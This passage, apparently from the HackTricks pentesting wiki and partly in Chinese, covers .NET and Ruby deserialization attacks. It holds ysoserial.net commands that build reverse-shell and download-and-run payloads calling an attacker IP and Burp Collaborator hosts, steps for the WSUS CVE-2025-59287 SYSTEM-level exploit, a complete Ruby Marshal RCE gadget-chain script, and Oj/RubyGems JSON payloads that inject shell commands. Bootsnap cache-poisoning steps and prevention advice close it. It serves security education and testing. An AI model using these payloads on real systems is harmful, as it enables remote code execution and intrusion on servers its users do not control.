ysoserial.net 的主要选项有:--gadget--formatter--output--plugin.

  • --gadget 用于指示要滥用的 gadget(指明在反序列化期间将被滥用以执行命令的类/函数)。
  • --formatter 用于指示序列化利用的方式(你需要知道后端使用哪个库来反序列化载荷,并使用相同的库来序列化它)。
  • --output 用于指示是否希望利用以 rawbase64 编码形式输出。注意 ysoserial.net 会使用 UTF-16LE(Windows 上默认使用的编码)对载荷进行编码,所以如果你拿到 raw 并在 Linux 控制台上直接进行编码,可能会遇到一些编码兼容性问题,从而导致利用无法正常工作(在 HTB 的 JSON 题中,载荷在 UTF-16LE 和 ASCII 下都可用,但这并不保证在所有情况下都可用)。
  • --plugin ysoserial.net 支持插件以为特定框架(如 ViewState)制作 利用代码

More ysoserial.net parameters

  • --minify 将提供一个 更小的载荷(如果可能)
  • --raf -f Json.Net -c "anything" 这将列出所有可与提供的 formatter(本例中为 Json.Net)一起使用的 gadgets
  • --sf xml 你可以 指示一个 gadget-g),ysoserial.net 将搜索包含 “xml” 的 formatters(不区分大小写)

ysoserial examples to create exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net 还有一个 非常有趣的参数,有助于更好地理解每个 exploit 的工作原理:--test
如果你指定这个参数,ysoserial.net在本地尝试该 **exploit,**这样你就可以测试你的 payload 是否能正常工作。
这个参数很有用,因为如果你查看代码,会发现像下面这样的代码块(来自 ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

这意味着为了测试该 exploit,代码将调用 serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In the previous code is vulnerable to the exploit created. So if you find something similar in a .Net application it means that probably that application is vulnerable too.
Therefore the --test parameter allows us to understand which chunks of code are vulnerable to the desrialization exploit that ysoserial.net can create.

ViewState

查看 this POST about how to try to exploit the __ViewState parameter of .Net to execute arbitrary code. 如果你 already know the secrets used by the victim machine, read this post to know to execute code.

Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • 受影响的端点:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() AuthorizationCookie decrypted then deserialized with BinaryFormatter.
  • /ReportingWebService.asmx → ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event.
  • 根本原因:attacker‑controlled bytes reach legacy .NET formatters (BinaryFormatter/SoapFormatter) without strict allow‑lists/binders, so gadget chains execute as the WSUS service account (often SYSTEM).

Minimal exploitation (Reporting path):

  1. Generate a .NET gadget with ysoserial.net (BinaryFormatter or SoapFormatter) and output base64, for example:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. ReportEventBatch 构造 SOAP,嵌入 base64 gadget 并将其 POST 到 /ReportingWebService.asmx
  2. 当管理员打开 WSUS 控制台时,事件被反序列化并触发 gadget(RCE 以 SYSTEM 身份)。

AuthorizationCookie / GetCookie()

  • 伪造的 AuthorizationCookie 可能会被接受、解密并传递给 BinaryFormatter sink,从而在可达时实现 pre‑auth RCE。

Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

参见 Windows Local Privilege Escalation – WSUS

预防

为减轻 .Net 反序列化相关的风险:

  • 避免让数据流决定其对象类型。 在可能的情况下使用 DataContractSerializerXmlSerializer
  • 对于 JSON.Net,将 TypeNameHandling 设置为 None TypeNameHandling = TypeNameHandling.None
  • 避免将 JavaScriptSerializerJavaScriptTypeResolver 一起使用。
  • 限制可反序列化的类型, 了解 .Net 类型的固有风险,例如 System.IO.FileInfo,它可以修改服务器文件的属性,可能导致拒绝服务攻击。
  • 对具有高风险属性的类型保持谨慎, 例如 System.ComponentModel.DataAnnotations.ValidationException 及其 Value 属性,可能被利用。
  • 安全地控制类型实例化, 以防止攻击者影响反序列化过程,从而使即便是 DataContractSerializerXmlSerializer 也变得易受攻击。
  • 实施白名单控制,BinaryFormatterJSON.Net 使用自定义 SerializationBinder
  • 了解 .Net 中已知的不安全反序列化 gadget, 并确保反序列化器不会实例化这些类型。
  • 将潜在高风险代码与具有互联网访问权限的代码隔离, 以避免将已知的 gadget(例如 WPF 应用中的 System.Windows.Data.ObjectDataProvider)暴露给不受信任的数据源。

参考资料

Ruby

在 Ruby 中,序列化由 marshal 库中的两个方法提供支持。第一个方法称为 dump,用于将对象转换为字节流——这个过程称为序列化。相反,第二个方法 load 用于将字节流还原为对象——该过程称为反序列化。

为了保护序列化对象,Ruby 使用 HMAC (Hash-Based Message Authentication Code),以确保数据的完整性和真实性。用于此目的的密钥存储在以下几个位置之一:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X 通用反序列化到 RCE gadget chain (更多信息见 https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

利用 Ruby On Rails 的其他 RCE 链: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

正如 this vulnerability report 所述,如果未经消毒的用户输入到达 ruby 对象的 .send() 方法,该方法允许使用任意参数调用对象的任何其他方法

例如,调用 eval 并将 ruby 代码作为第二个参数传入,会允许执行任意代码:

<Object>.send('eval', '<user input with Ruby code>') == RCE

此外,如果只有 .send() 的一个参数被 attacker 控制,如前面的 writeup 所述,可以调用该对象的任何 不需要参数 或其参数具有 默认值 的方法。
为此,可以枚举该对象的所有方法以 找到满足这些要求的一些有趣的方法

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

了解如何可能 pollute a Ruby class and abuse it in here

Ruby _json pollution

当在请求体中发送一些不可被哈希(例如数组)的值时,它们会被加入到一个名为 _json 的新键中。然而,攻击者也可能在请求体中设置一个名为 _json 的值并填入任意内容。假如后端例如验证某个参数的真实性,但随后又使用 _json 参数执行某些操作,则可能发生 authorisation bypass。

其他库

此技术摘自 from this blog post.

还有其他 Ruby 库可用于序列化对象,因此在不安全的反序列化期间可能被滥用以获得 RCE。下表列出了一些此类库以及在反序列化时会调用的类内方法(基本上是可用于获取 RCE 的函数):

输入数据在类内触发的方法
Marshal (Ruby)二进制_load
OjJSONhash (类需要作为 hash(map) 的 key 放入)
OxXMLhash (类需要作为 hash(map) 的 key 放入)
Psych (Ruby)YAMLhash (类需要作为 hash(map) 的 key 放入)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

基本示例:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

在尝试滥用 Oj 时,可以找到一个 gadget class,其在其 hash 函数中会调用 to_sto_s 会调用 spec,spec 会调用 fetch_path,而 fetch_path 可以被诱导去获取任意 URL,从而成为检测此类未净化反序列化漏洞的一个优秀探测器。

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

此外,发现使用前述技术会在系统中创建一个文件夹;这是滥用另一个 gadget 的前提,以便将其转化为完整的 RCE,例如:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

有关更多细节,请查看 original post.

Bootstrap Caching

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:

  • Identify the Vulnerability and Environment

Rails 应用的文件上传功能允许攻击者任意写入文件。尽管应用在受限环境下运行(由于 Docker 的非 root 用户,只有像 tmp 这样的特定目录可写),这仍然允许写入 Bootsnap 的缓存目录(通常位于 tmp/cache/bootsnap 下)。

  • Understand Bootsnap’s Cache Mechanism

Bootsnap 通过缓存已编译的 Ruby 代码、YAML 和 JSON 文件来加速 Rails 启动。它存储的缓存文件包含一个 cache key header(包含如 Ruby 版本、文件大小、mtime、compile options 等字段),后面跟着已编译的代码。此 header 用于在应用启动时验证缓存。

  • Gather File Metadata

攻击者首先选择一个可能在 Rails 启动期间被加载的目标文件(例如来自 Ruby 标准库的 set.rb)。通过在容器内执行 Ruby 代码,他们提取关键元数据(例如 RUBY_VERSION、RUBY_REVISION、size、mtime、和 compile_option)。这些数据对于构造有效的 cache key 至关重要。

  • Compute the Cache File Path

通过复现 Bootsnap 的 FNV-1a 64-bit hash 机制,可以确定正确的缓存文件路径。此步骤确保恶意缓存文件被放置在 Bootsnap 期望的位置(例如 tmp/cache/bootsnap/compile-cache-iseq/ 下)。

  • Craft the Malicious Cache File

攻击者准备的 payload 会:

  • 执行 arbitrary commands(例如运行 id 来显示进程信息)。
  • 在执行后删除恶意缓存以防止递归利用。
  • 加载原始文件(例如 set.rb)以避免使应用崩溃。

该 payload 被编译成二进制 Ruby 代码,并与精心构造的 cache key header 连接(使用之前收集的元数据和正确的 Bootsnap 版本号)。

  • Overwrite and Trigger Execution

利用 arbitrary file write 漏洞,攻击者将精心制作的缓存文件写入计算好的位置。接着,他们触发服务器重启(通过写入 tmp/restart.txt,Puma 会监视该文件)。在重启期间,当 Rails require 目标文件时,恶意缓存文件被加载,导致 remote code execution (RCE)。

Ruby Marshal exploitation in practice (updated)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • 在 real chains 中常见的 gadget 类: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • 通常嵌入在 payloads 中的副作用标记(在 unmarshal 期间执行):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Where it surfaces in real apps:

  • Rails 的缓存和会话存储(历史上使用 Marshal)
  • 后台任务后端和基于文件的对象存储
  • 任何自定义的二进制对象 blob 的持久化或传输

Industrialized gadget discovery:

  • 使用 grep 查找构造函数、hash_loadinit_with,或在反序列化期间被调用的有副作用方法
  • 使用 CodeQL’s Ruby unsafe deserialization queries 来追踪 sources → sinks 并揭示 gadgets
  • 使用公开的多格式 PoCs (JSON/XML/YAML/Marshal) 进行验证

References

  • Trail of Bits – Marshal madness:Ruby 反序列化漏洞简史: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x 通用 RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal 链: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 不安全的反序列化): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – 通过 Ruby on Rails Active Storage 的不安全反序列化实现 RCE: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – 在 Rubyland 中发现 gadget 链: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization(query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs 仓库: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 通用链: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal 逃逸: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – 审计 RubyGems.org(关于 Marshal 的发现): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS
  • RSC Report Lab – CVE-2025-55182 (React 19.2.0)

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks